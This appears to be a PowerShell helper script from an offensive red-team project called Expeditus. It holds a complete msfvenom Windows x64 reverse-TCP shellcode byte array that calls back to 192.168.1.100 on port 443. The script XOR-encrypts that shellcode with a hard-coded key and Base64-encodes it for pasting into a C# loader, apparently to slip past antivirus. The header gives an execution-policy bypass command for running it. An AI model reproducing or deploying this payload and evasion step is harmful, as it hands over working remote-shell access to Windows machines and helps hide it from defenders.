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payload-encrypt.ps1
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payload-encrypt.ps1
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<#
Powershell script to XOR shellcode with a key and then Base64 encode it ready to be stored inside Expeditus C# loader
https://github.com/TartarusLabs/Expeditus
james.fell@tartaruslabs.com
To execute it: powershell.exe -Exec bypass -File payload-encrypt.ps1
Refer to the README.md for full details
#>
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f powershell
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x1,0xbb,0xc0,0xa8,0x1,0x64,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x2,0x0,0x0,0x49,0xb8,0x63,0x6d,0x64,0x0,0x0,0x0,0x0,0x0,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0xd,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x1,0x1,0x48,0x8d,0x44,0x24,0x18,0xc6,0x0,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0xe,0x41,0xba,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5
[Byte[]] $XORkey = [System.Text.Encoding]::ASCII.GetBytes("hodie") # Set the XOR key here and remember to use the same one in expeditus.cs (approx line 125) for decryption
[Byte[]] $ciphertext = $buf
$keychar = 0
$cipherchar = 0
$buf | foreach-object -process {
$ciphertext[$cipherchar] = ($_ -bxor $XORkey[$keychar])
$cipherchar += 1
$keychar += 1
if ($keychar -eq $XORkey.Length)
{
$keychar = 0
}
}
Write-Host "Encrypted payload to paste into strEncryptedPayload variable in expeditus.cs: $([Convert]::ToBase64String($ciphertext))"